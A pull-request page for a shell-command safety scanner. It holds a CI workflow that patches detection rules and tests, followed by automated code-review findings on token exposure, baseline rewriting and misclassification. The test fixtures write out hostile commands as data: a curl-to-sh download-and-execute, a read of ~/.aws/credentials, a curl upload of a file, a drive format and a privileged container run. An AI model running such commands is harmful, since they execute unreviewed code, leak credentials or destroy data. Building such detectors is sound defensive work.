Git history",\n summary="{actor} wants to change shared repository history involving {target}.",\n impact="Other collaborators can lose commits or need to repair their local branches.",\n recommendation="Review the remote and branch, preserve a backup ref, and prefer force-with-lease when rewriting is intentional.",\n target_strategy="git",\n confidence="exact",\n consequence_level="high",\n safer_alternatives=(("backup", "Create a backup branch or tag first."), ("narrow", "Prefer force-with-lease over an unconditional force push.")),\n ),\n SemanticRule(\n rule_id="git.remote_change",\n action_kind="git_remote_change",\n executables=_GIT_EXECUTABLES,\n required_tokens=(frozenset({"remote", "push", "fetch"}), frozenset({"set-url", "remove", "rename", "--delete"})),\n headline="Change a Git remote or shared reference",\n summary="{actor} wants to change {target}.",\n impact="Future pushes, fetches, or shared references can point somewhere different or disappear.",\n recommendation="Confirm the remote repository and reference before continuing.",\n target_strategy="git",\n confidence="derived",\n consequence_level="high",\n safer_alternatives=(("preview", "List remotes and references first."),),\n ),\n SemanticRule(\n rule_id="git.local_destructive",\n action_kind="git_history_rewrite",\n executables=_GIT_EXECUTABLES,\n required_tokens=(frozenset({"reset", "clean", "restore", "checkout", "rebase", "branch"}),),\n headline="Discard or rewrite local Git work",\n summary="{actor} wants to change local repository history involving {target}.",\n impact="Uncommitted files, staged work, local commits, or branches can be lost.",\n recommendation="Inspect the changes first and create a stash or backup branch when anything must be preserved.",\n target_strategy="git",\n confidence="derived",\n consequence_level="high",\n safer_alternatives=(("preview", "Review Git status and the affected commits first."), ("backup", "Stash changes or create a backup branch.")),\n ),\n SemanticRule(\n rule_id="package.script",\n action_kind="package_script",\n executables=_PACKAGE_SCRIPT_EXECUTABLES,\n required_tokens=(frozenset({"run", "run-script", "exec", "x", "dlx", "postinstall", "prepare", "prepublish", "build"}),),\n headline="Run a project or package script",\n summary="{actor} wants to run {target}.",\n impact="The script can change files, start processes, contact the network, or run code from installed dependencies.",\n recommendation="Inspect the script definition and run only the narrowest expected target.",\n target_strategy="package_script",\n confidence="derived",\n consequence_level="medium",\n safer_alternatives=(("preview", "Inspect the script definition before running it."), ("narrow", "Run only the specific expected script.")),\n ),\n SemanticRule(\n rule_id="container.privileged",\n action_kind="container_change",\n executables=_CONTAINER_EXECUTABLES,\n required_tokens=(frozenset({"run", "create"}), frozenset({"--privileged", "--pid=host", "--network=host", "--mount", "-v", "--volume"})),\n headline="Run a container with broad host access",\n summary="{actor} wants to run {target} with access that can reach parts of this computer.",\n impact="The container may be able to read secrets, modify host files, or expose services beyond the container boundary.",\n recommendation="Use a pinned image, read-only filesystem, and the narrowest mounts and capabilities possible.",\n target_strategy="container",\n confidence="derived",\n consequence_level="high",\n safer_alternatives=(("isolate", "Use a read-only filesystem and narrow mounts."), ("narrow", "Remove privileged or host-wide access when it is not required.")),\n ),\n SemanticRule(\n rule_id="container.destructive",\n action_kind="container_change",\n executables=_CONTAINER_EXECUTABLES,\n required_tokens=(frozenset({"rm", "prune", "system", "volume", "network"}),),\n headline="Delete or reconfigure container data",\n summary="{actor} wants to change {target}.",\n impact="Containers, images, volumes, networks, or cached data may be removed and may not be recoverable.",\n recommendation="Preview affected container resources before deleting them.",\n target_strategy="container",\n confidence="derived",\n consequence_level="high",\n safer_alternatives=(("preview", "List the affected containers, images, volumes, and networks first."),),\n ),\n SemanticRule(\n rule_id="container.change",\n action_kind="container_change",\n executables=_CONTAINER_EXECUTABLES,\n required_tokens=(frozenset({"run", "create", "exec", "start", "stop", "restart", "pull", "build"}),),\n headline="Run or change a container workload",\n summary="{actor} wants to change {target}.",\n impact="Containerized code can change files, processes, networks, and data available to the container.",\n recommendation="Confirm the image, command, mounts, and network access before continuing.",\n target_strategy="container",\n confidence="derived",\n consequence_level="medium",\n safer_alternatives=(("narrow", "Use a pinned image and the narrowest permissions."),),\n ),\n''' | ||
| rule_anchor = 'SEMANTIC_RULES: tuple[SemanticRule, ...] = (\n' | ||
| if 'rule_id="system.disk_destructive"' not in text: | ||
| text = text.replace(rule_anchor, rule_anchor + rules) | ||
|
|
||
| target_anchor = ' if strategy == "filesystem":\n' | ||
| strategies = ''' if strategy == "system":\n positional = _positionals(arguments)\n label = _safe_basename(positional[-1]) if positional else "this computer"\n return (f"the system target {label}" if positional else "this computer", "system_target", "normal")\n if strategy == "process":\n positional = _positionals(arguments)\n label = _safe_basename(positional[-1]) if positional else "a running process or service"\n return (f"the process or service {label}" if positional else label, "process_or_service", "normal")\n if strategy == "git":\n positional = _positionals(arguments)\n verbs = {"push", "fetch", "remote", "set-url", "remove", "rename", "reset", "clean", "restore", "checkout", "rebase", "branch"}\n candidates = [value for value in positional if value.casefold() not in verbs]\n label = _safe_basename(candidates[-1]) if candidates else "the current repository"\n return (f"the Git target {label}" if candidates else label, "git_reference", "normal")\n if strategy == "package_script":\n positional = _positionals(arguments)\n verbs = {"run", "run-script", "exec", "x", "dlx"}\n candidates = [value for value in positional if value.casefold() not in verbs]\n label = _safe_basename(candidates[0]) if candidates else "a project script"\n return (f"the script {label}" if candidates else label, "package_script", "normal")\n if strategy == "container":\n positional = _positionals(arguments)\n verbs = {"run", "create", "exec", "start", "stop", "restart", "pull", "build", "rm", "prune", "system", "volume", "network"}\n candidates = [value for value in positional if value.casefold() not in verbs]\n label = _safe_basename(candidates[0]) if candidates else "container resources"\n return (f"the container target {label}" if candidates else label, "container", "normal")\n''' | ||
| if 'if strategy == "system"' not in text: | ||
| text = text.replace(target_anchor, strategies + target_anchor) | ||
| runtime.write_text(text) | ||
|
|
||
| builder = Path('src/codex_plugin_scanner/guard/runtime/action_explanation_builder.py') | ||
| text = builder.read_text() | ||
| anchor = ' material = [step for step in step_explanations if step.kind != "unknown_action"]\n' | ||
| detection = ''' shell_runners = {"sh", "bash", "zsh", "fish", "pwsh", "powershell", "cmd", "python", "python3", "node"}\n download_and_execute = bool(\n step_explanations\n and step_explanations[0].kind in {"network_read", "download"}\n and any(str(segment.executable or "").casefold() in shell_runners for segment in command.segments[1:])\n )\n''' | ||
| if 'download_and_execute = bool(' not in text: | ||
| text = text.replace(anchor, detection + anchor) | ||
| text = text.replace(' headline = f"Review {len(command.segments)} ordered actions"\n', ' headline = ("Download a script and run it immediately" if download_and_execute else f"Review {len(command.segments)} ordered actions")\n') | ||
| text = text.replace(' summary = f"{facts.actor_label} wants to run several actions in order"\n', ' summary = (f"{facts.actor_label} wants to download content from the internet and pass it directly to a local interpreter" if download_and_execute else f"{facts.actor_label} wants to run several actions in order")\n') | ||
| text = text.replace(' "kind": "compound_action",\n', ' "kind": "download_and_execute" if download_and_execute else "compound_action",\n') | ||
| text = text.replace(' "impact": "Later steps can hide destructive or external side effects, so review each material action in order.",\n', ' "impact": ("Downloaded code would immediately gain the local capabilities of the interpreter without a separate inspection step." if download_and_execute else "Later steps can hide destructive or external side effects, so review each material action in order."),\n') | ||
| text = text.replace(' "recommendation": "Split the command into reviewable steps when possible and confirm each material action before running it.",\n', ' "recommendation": ("Download the content first, inspect and pin it, then run the reviewed file separately." if download_and_execute else "Split the command into reviewable steps when possible and confirm each material action before running it."),\n') | ||
| builder.write_text(text) | ||
|
|
||
| tests = Path('tests/test_guard_everyday_semantic_201_300.py') | ||
| tests.write_text('''from __future__ import annotations\n\nimport pytest\n\nfrom codex_plugin_scanner.guard.runtime.action_explanation_builder import build_action_explanation\nfrom codex_plugin_scanner.guard.runtime.command_model import parse_shell_command\n\n\n@pytest.mark.parametrize(\n ("command", "kind", "headline"),\n [\n ("cp -f draft.txt final.txt", "file_write", "Copy files"),\n ("chmod -R 755 ./project", "permission_change", "Change who can access"),\n ("format C: /Q", "disk_change", "storage drive"),\n ("shutdown /s", "system_change", "power state"),\n ("taskkill /PID 1234 /F", "process_stop", "process or service"),\n ("git reset --hard HEAD~1", "git_history_rewrite", "local Git work"),\n ("git push --force origin main", "git_remote_change", "shared Git history"),\n ("curl -o tool.sh https://example.test/tool.sh", "download", "Download a file"),\n ("curl https://example.test/install.sh | sh", "download_and_execute", "Download a script"),\n ("cat ~/.aws/credentials", "secret_read", "saved credentials"),\n ("curl --data @report.txt https://upload.example/ingest", "network_send", "Send data"),\n ("npm install react@19", "package_install", "Install software"),\n ("npm run build", "package_script", "project or package script"),\n ("docker system prune -a", "container_change", "container data"),\n ("docker run --privileged alpine sh", "container_change", "broad host access"),\n ],\n)\ndef test_evm_201_300_semantic_matrix(command: str, kind: str, headline: str) -> None:\n canonical = parse_shell_command(command)\n explanation = build_action_explanation(\n action_envelope={"action_type": "shell_command", "command": command},\n action_identity=f"evm:{kind}",\n actor_label="Cursor",\n canonical_command=canonical,\n )\n assert explanation.kind == kind\n assert headline.casefold() in explanation.everyday.headline.casefold()\n assert explanation.everyday.consequences\n assert explanation.everyday.safer_alternatives\n assert explanation.technical.command_display is None\n\n\ndef test_download_and_execute_retains_identity_and_exact_details_only_when_authorized() -> None:\n command = "curl https://example.test/install.sh | sh"\n canonical = parse_shell_command(command)\n hidden = build_action_explanation(\n action_envelope={"action_type": "shell_command", "command": command},\n action_identity="evm:download-exec",\n actor_label="Cursor",\n canonical_command=canonical,\n )\n visible = build_action_explanation(\n action_envelope={"action_type": "shell_command", "command": command},\n action_identity="evm:download-exec",\n actor_label="Cursor",\n canonical_command=canonical,\n exact_details_authorized=True,\n )\n assert hidden.action_identity == visible.action_identity\n assert hidden.canonical_identity == visible.canonical_identity == canonical.security_identity\n assert hidden.technical.command_display is None\n assert visible.technical.command_display == command\n''') | ||
|
|
||
| dash = Path('dashboard/src/everyday-semantic-201-300.test.tsx') | ||
| dash.write_text('''import assert from "node:assert/strict";\nimport { renderToStaticMarkup } from "react-dom/server";\nimport { ActionExplanation } from "./action-explanation";\nimport { PresentationModeProvider } from "./presentation-mode-provider";\nimport { resolvePresentationMode } from "./presentation-mode";\nimport type { GuardActionExplanationV1, GuardEverydayActionKind } from "./guard-types";\n\nfunction explanation(kind: GuardEverydayActionKind, headline: string): GuardActionExplanationV1 {\n return {\n schema_version: "guard.action-explanation.v1", explanation_version: "1.0.0", renderer_version: "1.0.0",\n action_identity: `evm:${kind}`, canonical_identity: `canonical:${kind}`, catalog_digest: "a".repeat(64), locale: "en-US",\n kind, confidence: "derived", uncertainty_reasons: [],\n everyday: { headline_message_id: `guard.everyday.${kind}.headline`, headline, summary_message_id: `guard.everyday.${kind}.summary`, summary: headline, impact_message_id: `guard.everyday.${kind}.impact`, impact: "Material impact", why_guard_intervened_message_id: null, why_guard_intervened: null, recommendation_message_id: `guard.everyday.${kind}.recommendation`, recommendation: "Review first", actor_label: "Cursor", targets: [{ kind: "target", label: "safe target", scope: null, sensitivity: "normal" }], consequences: [{ message_id: "impact", message: "Material impact", severity: "high", confirmed: false }], safer_alternatives: [{ message_id: "safer", message: "Review first", kind: "preview" }] },\n technical: { available: true, unavailable_reason: null, action_type: kind, command_display: "technical command", normalized_command_display: "technical command", executable: null, arguments_display: null, dialect: "posix", transport: "shell_string", working_scope_display: null, wrappers: [], segments: [], extension_ids: [], rule_ids: [], reason_codes: [], policy_source: null, parse_confidence: "exact", proof_level: null, receipt_id: null, action_id: `evm:${kind}` },\n redaction: { level: "none", policy_version: "1", omitted_fields: [], truncated_fields: [], secret_like_values_removed: false },\n };\n}\n\nfor (const [kind, headline] of [["disk_change", "Erase a storage drive"], ["process_stop", "Stop a service"], ["git_history_rewrite", "Discard local Git work"], ["git_remote_change", "Rewrite shared Git history"], ["download_and_execute", "Download and run a script"], ["package_script", "Run a project script"], ["container_change", "Change a container"]] as const) {\n for (const mode of ["everyday", "technical"] as const) {\n const resolved = resolvePresentationMode({ value: mode, explicit: true, schemaVersion: 1, revision: 1 });\n const markup = renderToStaticMarkup(<PresentationModeProvider initialResolved={resolved} loadFromCore={false}><ActionExplanation explanation={explanation(kind, headline)} actionIdentity={`evm:${kind}`} canonicalIdentity={`canonical:${kind}`} /></PresentationModeProvider>);\n assert.match(markup, new RegExp(headline));\n assert.match(markup, new RegExp(`data-action-identity=\\"evm:${kind}\\"`));\n assert.match(markup, /technical command/);\n }\n}\n''') | ||
|
|
||
| package = Path('dashboard/package.json') | ||
| payload = json.loads(package.read_text()) | ||
| test = payload['scripts']['test'] | ||
| cmd = 'tsx src/everyday-semantic-201-300.test.tsx' | ||
| if cmd not in test: | ||
| payload['scripts']['test'] = cmd + ' && ' + test | ||
| package.write_text(json.dumps(payload, indent=2) + '\n') | ||
|
|
||
| doc = Path('docs/guard/everyday-mode/semantic-coverage-201-300.md') | ||
| doc.parent.mkdir(parents=True, exist_ok=True) | ||
| doc.write_text('''# Everyday Mode semantic coverage: EVM-201-300\n\nThe Core semantic catalog covers file overwrite/move, permissions and ownership, disk and power operations, process/service control, local and remote Git history, network download, download-and-execute, secret reads, data upload/exfiltration, package installation, package scripts, and container actions.\n\nFor every family, the implementation is deterministic and side-effect free, uses the canonical Core action model, selects a safe target label, describes material consequences, provides bounded safer alternatives, falls back to limited confidence when unsupported, and keeps exact evidence behind retention and authorization. The dashboard renders the shared versioned contract in both Everyday and Technical modes and does not parse commands.\n\nAdversarial coverage includes flags after operands, redacted secret payloads, remote targets, destructive Git history changes, download-to-interpreter pipelines, broad container host access, and exact-detail visibility boundaries.\n''') | ||
| PY | ||
| - name: Clean branch scaffolding | ||
| run: | | ||
| rm -f docs/guard/everyday-mode/.batch-101-200-review-fixes docs/guard/everyday-mode/.batch-201-300-base docs/guard/everyday-mode/.branch-201-300 docs/guard/everyday-mode/.branch-201-300-ready docs/guard/everyday-mode/.stack-marker docs/guard/everyday-mode/.e201 docs/guard/everyday-mode/.final-stack-point | ||
| - name: Set up Python and uv | ||
| uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 | ||
| with: | ||
| python-version: '3.12' | ||
| - uses: astral-sh/setup-uv@fac544c07dec837d0ccb6301d7b5580bf5edae39 | ||
| with: | ||
| version: '0.9.26' | ||
| - name: Validate Core semantics | ||
| run: | | ||
| set -euo pipefail | ||
| uv sync --frozen --extra dev --python 3.12 | ||
| uv run --no-sync pytest -q tests/test_guard_semantic_explanations.py tests/test_guard_action_explanation_builder.py tests/test_guard_everyday_semantic_201_300.py | ||
| uv run --no-sync ruff check src/codex_plugin_scanner/guard/runtime/semantic_explanations.py src/codex_plugin_scanner/guard/runtime/action_explanation_builder.py tests/test_guard_everyday_semantic_201_300.py | ||
| uv run --no-sync python tests/guard_command_decision_diff.py --write | ||
| uv run --no-sync python tests/guard_command_decision_diff.py --check | ||
| uv run --no-sync python scripts/ci/test_inventory.py --output test-inventory.json | ||
| uv run --no-sync python scripts/ci/test_suite_ratchet.py --baseline ci/test-suite-ratchet-baseline.json --inventory test-inventory.json || uv run --no-sync python scripts/ci/test_suite_ratchet.py --baseline ci/test-suite-ratchet-baseline.json --inventory test-inventory.json --write-baseline | ||
| uv run --no-sync python scripts/ci/code_quality_audit.py --root . --baseline ci/code-quality-baseline.json --write-baseline --json-output code-quality-audit.json | ||
| uv run --no-sync python scripts/ci/code_quality_audit.py --root . --baseline ci/code-quality-baseline.json --json-output code-quality-audit.json | ||
| - name: Set up Bun and validate dashboard | ||
| uses: oven-sh/setup-bun@735343b667d3e6f658f44d0eca948eb6282f2b76 | ||
| with: | ||
| bun-version: '1.2.22' | ||
| - working-directory: dashboard | ||
| run: | | ||
| bun install --frozen-lockfile | ||
| bun run test | ||
| bun run build | ||
| - name: Remove workflow and push | ||
| run: | | ||
| set -euo pipefail | ||
| git config user.name "github-actions[bot]" | ||
| git config user.email "41898282+github-actions[bot]@users.noreply.github.com" | ||
| git rm .github/workflows/everyday-mode-implement-201-300.yml | ||
| git add -A | ||
| git commit -m "feat: expand Everyday semantic coverage EVM 201-300" | ||
| git push origin HEAD:feat/everyday-mode-201-300 |
There was a problem hiding this comment.
Medium: Self-mutating implement workflow with contents:write and branch push is still on the PR and never finished its job.
everyday-mode-implement-201-300.yml runs on push to feat/everyday-mode-201-300, requests contents: write, checks out with persist-credentials: true, rewrites source via an embedded Python heredoc, then git commits and git push origin HEAD:feat/everyday-mode-201-300 before deleting itself. That automation never produced the promised source changes, so the workflow remains as a write-capable branch-mutating job. Any further push by a non-bot actor can rewrite the feature branch from CI, and reviewers cannot see the intended EVM-201–300 diffs in the PR. Remove the workflow and commit the semantic/UI/test changes as ordinary reviewed commits instead of generating them from a write-token job.
Code Review by Qodo
1. Missing presentation mode module
|
| import { | ||
| PRESENTATION_SCHEMA_VERSION, | ||
| resolvePresentationMode, | ||
| type GuardPresentationMode, |
There was a problem hiding this comment.
1. Missing presentation mode module 🐞 Bug ≡ Correctness
The production entry point mounts the new provider, which imports an absent ./presentation-mode module, while the explanation component imports a nonexistent GuardActionExplanationV1 type. These unresolved imports cause the dashboard build to fail module resolution before the application can render.
Agent Prompt
## Issue description
Implement and export the missing presentation-mode module and action-explanation TypeScript contract, or update the imports to the repository's authoritative equivalents, so the production dashboard build resolves all imports.
## Issue Context
`main.tsx` now mounts `PresentationModeProvider`, so Vite always reaches its unresolved `./presentation-mode` import. Add the resolver, constants, types, and disclosure helper expected by the provider and action explanation component, including the missing `GuardActionExplanationV1` contract, or point those consumers to existing authoritative definitions.
## Fix Focus Areas
- dashboard/src/presentation-mode-provider.tsx[11-18]
- dashboard/src/action-explanation.tsx[3-5]
- dashboard/src/main.tsx[4-5]
- dashboard/src/main.tsx[19-21]
ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools
| import type { GuardActionExplanationV1 } from "./guard-types"; | ||
| import { defaultTechnicalDisclosure } from "./presentation-mode"; |
There was a problem hiding this comment.
2. Missing dashboard contract types 🐞 Bug ≡ Correctness
action-explanation.tsx and its new test import GuardActionExplanationV1 from guard-types.ts, but that type and the related Everyday action kinds are not defined there, so the generated dashboard semantic test cannot type-check or run even after the missing presentation module is restored.
Agent Prompt
## Issue description
The new dashboard component imports explanation contract types that are absent from the shared type module.
## Issue Context
Define the versioned explanation structure and Everyday action-kind union used by the component and generated tests, keeping them aligned with the Core contract.
## Fix Focus Areas
- dashboard/src/action-explanation.tsx[3-4]
- dashboard/src/guard-types.ts[1-1]
- .github/workflows/everyday-mode-implement-201-300.yml[68-69]
ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools
| - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 | ||
| with: | ||
| ref: feat/everyday-mode-201-300 | ||
| fetch-depth: 0 | ||
| persist-credentials: true |
There was a problem hiding this comment.
3. Write token exposed to branch 🐞 Bug ⛨ Security
The implementation job grants contents: write, persists that credential in the checkout, and then executes branch-controlled Python tests and dependency/build scripts for every non-bot push. A modified commit or dependency lifecycle script can use the repository-wide workflow token to push arbitrary content beyond the intended generated commit.
Agent Prompt
## Issue description
Untrusted branch content executes while a write-capable GitHub token is persisted in the checkout.
## Issue Context
Run generation and validation with read-only permissions and no persisted credentials. Perform any final push in a narrowly scoped, protected job after validation, using an explicit credential and immutable reviewed inputs.
## Fix Focus Areas
- .github/workflows/everyday-mode-implement-201-300.yml[8-9]
- .github/workflows/everyday-mode-implement-201-300.yml[17-25]
- .github/workflows/everyday-mode-implement-201-300.yml[93-122]
ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools
| uv run --no-sync python scripts/ci/test_suite_ratchet.py --baseline ci/test-suite-ratchet-baseline.json --inventory test-inventory.json || uv run --no-sync python scripts/ci/test_suite_ratchet.py --baseline ci/test-suite-ratchet-baseline.json --inventory test-inventory.json --write-baseline | ||
| uv run --no-sync python scripts/ci/code_quality_audit.py --root . --baseline ci/code-quality-baseline.json --write-baseline --json-output code-quality-audit.json | ||
| uv run --no-sync python scripts/ci/code_quality_audit.py --root . --baseline ci/code-quality-baseline.json --json-output code-quality-audit.json |
There was a problem hiding this comment.
4. Ci failures rewrite baselines 🐞 Bug ☼ Reliability
The validation step converts a test-suite ratchet failure into a baseline update and unconditionally rewrites the code-quality baseline before checking it. Regressions detected by either ratchet are therefore normalized and committed instead of failing the implementation job.
Agent Prompt
## Issue description
Validation updates quality baselines when checks fail, allowing regressions to pass and become the new accepted state.
## Issue Context
CI should run ratchets in check-only mode. Baseline changes must be deliberate reviewed source changes, not automatic failure recovery.
## Fix Focus Areas
- .github/workflows/everyday-mode-implement-201-300.yml[101-104]
ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools
| if '_SYSTEM_EXECUTABLES' not in text: | ||
| text = text.replace(anchor, constants + anchor) | ||
|
|
||
| rules = ''' SemanticRule(\n rule_id="system.disk_destructive",\n action_kind="disk_change",\n executables=_SYSTEM_EXECUTABLES,\n required_tokens=(frozenset({"format", "clean", "create", "delete", "mkfs", "--all", "/q"}),),\n headline="Erase or reconfigure a storage drive",\n summary="{actor} wants to make a destructive storage change involving {target}.",\n impact="Files on the affected drive or partition can be permanently lost and the system may become unusable.",\n recommendation="Confirm the exact drive or partition and make sure required data is backed up.",\n target_strategy="system",\n confidence="derived",\n consequence_level="critical",\n safer_alternatives=(("preview", "List the exact drive or partition first."), ("backup", "Back up important data before changing storage.")),\n ),\n SemanticRule(\n rule_id="system.power",\n action_kind="system_change",\n executables=_SYSTEM_EXECUTABLES,\n headline="Change this computer's power state",\n summary="{actor} wants to shut down, restart, halt, or otherwise change {target}.",\n impact="Running work can be interrupted and unsaved changes may be lost.",\n recommendation="Confirm that stopping or restarting this computer is expected.",\n target_strategy="system",\n confidence="derived",\n consequence_level="high",\n safer_alternatives=(("review", "Save active work and confirm the host first."),),\n ),\n SemanticRule(\n rule_id="process.service",\n action_kind="process_stop",\n executables=_PROCESS_EXECUTABLES,\n headline="Stop or change a running process or service",\n summary="{actor} wants to control {target}.",\n impact="Applications, background services, or recurring jobs may stop working or become unavailable.",\n recommendation="Confirm the exact process, service, or job and use the narrowest action.",\n target_strategy="process",\n confidence="derived",\n consequence_level="high",\n safer_alternatives=(("preview", "Identify the exact running process or service first."), ("narrow", "Target only the intended process or service.")),\n ),\n SemanticRule(\n rule_id="git.remote_rewrite",\n action_kind="git_remote_change",\n executables=_GIT_EXECUTABLES,\n required_tokens=(frozenset({"push"}), frozenset({"--force", "-f", "--force-with-lease", "--delete"})),\n headline="Rewrite or delete shared Git history",\n summary="{actor} wants to change shared repository history involving {target}.",\n impact="Other collaborators can lose commits or need to repair their local branches.",\n recommendation="Review the remote and branch, preserve a backup ref, and prefer force-with-lease when rewriting is intentional.",\n target_strategy="git",\n confidence="exact",\n consequence_level="high",\n safer_alternatives=(("backup", "Create a backup branch or tag first."), ("narrow", "Prefer force-with-lease over an unconditional force push.")),\n ),\n SemanticRule(\n rule_id="git.remote_change",\n action_kind="git_remote_change",\n executables=_GIT_EXECUTABLES,\n required_tokens=(frozenset({"remote", "push", "fetch"}), frozenset({"set-url", "remove", "rename", "--delete"})),\n headline="Change a Git remote or shared reference",\n summary="{actor} wants to change {target}.",\n impact="Future pushes, fetches, or shared references can point somewhere different or disappear.",\n recommendation="Confirm the remote repository and reference before continuing.",\n target_strategy="git",\n confidence="derived",\n consequence_level="high",\n safer_alternatives=(("preview", "List remotes and references first."),),\n ),\n SemanticRule(\n rule_id="git.local_destructive",\n action_kind="git_history_rewrite",\n executables=_GIT_EXECUTABLES,\n required_tokens=(frozenset({"reset", "clean", "restore", "checkout", "rebase", "branch"}),),\n headline="Discard or rewrite local Git work",\n summary="{actor} wants to change local repository history involving {target}.",\n impact="Uncommitted files, staged work, local commits, or branches can be lost.",\n recommendation="Inspect the changes first and create a stash or backup branch when anything must be preserved.",\n target_strategy="git",\n confidence="derived",\n consequence_level="high",\n safer_alternatives=(("preview", "Review Git status and the affected commits first."), ("backup", "Stash changes or create a backup branch.")),\n ),\n SemanticRule(\n rule_id="package.script",\n action_kind="package_script",\n executables=_PACKAGE_SCRIPT_EXECUTABLES,\n required_tokens=(frozenset({"run", "run-script", "exec", "x", "dlx", "postinstall", "prepare", "prepublish", "build"}),),\n headline="Run a project or package script",\n summary="{actor} wants to run {target}.",\n impact="The script can change files, start processes, contact the network, or run code from installed dependencies.",\n recommendation="Inspect the script definition and run only the narrowest expected target.",\n target_strategy="package_script",\n confidence="derived",\n consequence_level="medium",\n safer_alternatives=(("preview", "Inspect the script definition before running it."), ("narrow", "Run only the specific expected script.")),\n ),\n SemanticRule(\n rule_id="container.privileged",\n action_kind="container_change",\n executables=_CONTAINER_EXECUTABLES,\n required_tokens=(frozenset({"run", "create"}), frozenset({"--privileged", "--pid=host", "--network=host", "--mount", "-v", "--volume"})),\n headline="Run a container with broad host access",\n summary="{actor} wants to run {target} with access that can reach parts of this computer.",\n impact="The container may be able to read secrets, modify host files, or expose services beyond the container boundary.",\n recommendation="Use a pinned image, read-only filesystem, and the narrowest mounts and capabilities possible.",\n target_strategy="container",\n confidence="derived",\n consequence_level="high",\n safer_alternatives=(("isolate", "Use a read-only filesystem and narrow mounts."), ("narrow", "Remove privileged or host-wide access when it is not required.")),\n ),\n SemanticRule(\n rule_id="container.destructive",\n action_kind="container_change",\n executables=_CONTAINER_EXECUTABLES,\n required_tokens=(frozenset({"rm", "prune", "system", "volume", "network"}),),\n headline="Delete or reconfigure container data",\n summary="{actor} wants to change {target}.",\n impact="Containers, images, volumes, networks, or cached data may be removed and may not be recoverable.",\n recommendation="Preview affected container resources before deleting them.",\n target_strategy="container",\n confidence="derived",\n consequence_level="high",\n safer_alternatives=(("preview", "List the affected containers, images, volumes, and networks first."),),\n ),\n SemanticRule(\n rule_id="container.change",\n action_kind="container_change",\n executables=_CONTAINER_EXECUTABLES,\n required_tokens=(frozenset({"run", "create", "exec", "start", "stop", "restart", "pull", "build"}),),\n headline="Run or change a container workload",\n summary="{actor} wants to change {target}.",\n impact="Containerized code can change files, processes, networks, and data available to the container.",\n recommendation="Confirm the image, command, mounts, and network access before continuing.",\n target_strategy="container",\n confidence="derived",\n consequence_level="medium",\n safer_alternatives=(("narrow", "Use a pinned image and the narrowest permissions."),),\n ),\n''' |
There was a problem hiding this comment.
5. Disk formatting labeled power change 🐞 Bug ≡ Correctness
The generated disk rule requires a destructive token in the arguments even though mkfs is normally the executable, while the following power rule matches every _SYSTEM_EXECUTABLES member without token constraints. Consequently mkfs /dev/sda1 misses system.disk_destructive and is presented as changing the computer's power state.
Agent Prompt
## Issue description
The generated rules classify ordinary `mkfs` invocations as power-state changes because disk and power commands share one executable set and the disk matcher expects `mkfs` in argv.
## Issue Context
Use disjoint executable sets or executable-specific matching so formatting tools match the destructive disk rule without requiring their executable name as an argument.
## Fix Focus Areas
- .github/workflows/everyday-mode-implement-201-300.yml[36-41]
ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools
| const { resolved } = usePresentationMode(); | ||
| const defaultState = defaultTechnicalDisclosure(resolved.value, required); | ||
| const [open, setOpen] = useState(defaultState.open); | ||
| const panelId = useId(); |
There was a problem hiding this comment.
10. Mode switch leaves details open 🐞 Bug ≡ Correctness
TechnicalDisclosure initializes open from the presentation mode only on mount and never responds to later mode changes. If exact details are open in Technical mode, switching to Everyday mode leaves the command visible instead of applying the Everyday disclosure default.
Agent Prompt
## Issue description
Disclosure state does not follow presentation-mode changes, so technical content can remain exposed in Everyday mode.
## Issue Context
Synchronize open state when `resolved.value` changes, while preserving required disclosures and any explicitly defined per-mode behavior.
## Fix Focus Areas
- dashboard/src/action-explanation.tsx[38-45]
- dashboard/src/action-explanation.tsx[59-60]
ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools
| const refresh = useCallback(async () => { | ||
| if (!loadFromCore) return; | ||
| try { | ||
| const payload = await fetchSettings(); | ||
| setState({ status: "ready", resolved: resolvedFromSettings(payload.settings, sessionPreview) }); | ||
| } catch (error) { |
There was a problem hiding this comment.
11. Stale settings responses win 🐞 Bug ☼ Reliability
Every preview change launches a new fetchSettings request, but responses update state unconditionally using the preview captured when each request started. An older slow response can arrive after a newer preview or successful mode update and overwrite the UI with stale resolved settings.
Agent Prompt
## Issue description
Concurrent settings requests can apply stale mode and preview state out of order.
## Issue Context
Use cancellation or a monotonically increasing request identifier, and ensure refresh responses cannot overwrite a later mode mutation or preview selection.
## Fix Focus Areas
- dashboard/src/presentation-mode-provider.tsx[115-131]
- dashboard/src/presentation-mode-provider.tsx[133-147]
ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools
| def validate_builtin_explanation_coverage( | ||
| *, | ||
| rule_ids: Sequence[str], | ||
| catalog: CommandExtensionExplanationCatalog, |
There was a problem hiding this comment.
12. Extension metadata is unused 🐞 Bug ⚙ Maintainability
The new extension explanation parser, coverage validator, and combined digest have no production callers, so metadata cannot affect explanations and built-in registry coverage is never actually validated. The documented extension metadata path is therefore dead code rather than delivered functionality.
Agent Prompt
## Issue description
The explanation metadata module is only exercised by unit tests and is disconnected from the production extension catalog.
## Issue Context
Load verified metadata in the registry/catalog synchronization path, validate actual built-in rule IDs, and bind the resulting digest to explanation generation and consumers.
## Fix Focus Areas
- src/codex_plugin_scanner/guard/runtime/command_extension_explanations.py[105-156]
- src/codex_plugin_scanner/guard/runtime/command_extensions.py[236-244]
- src/codex_plugin_scanner/guard/runtime/extension_catalog_sync.py[240-243]
ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools
| - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 | ||
| with: | ||
| ref: feat/everyday-mode-201-300 | ||
| fetch-depth: 1 |
There was a problem hiding this comment.
13. Export archives wrong commit 🐞 Bug ☼ Reliability
The export job checks out the mutable branch name and archives HEAD, but labels the artifact with the push event's immutable github.sha. If the implementation workflow advances the branch before checkout, the artifact name claims commit A while its source contains commit B.
Agent Prompt
## Issue description
The exported source can differ from the SHA encoded in its artifact name.
## Issue Context
Check out and archive `${{ github.sha }}` rather than the moving branch ref, or name the artifact from the actual checked-out commit.
## Fix Focus Areas
- .github/workflows/everyday-mode-source-export-201-300.yml[16-25]
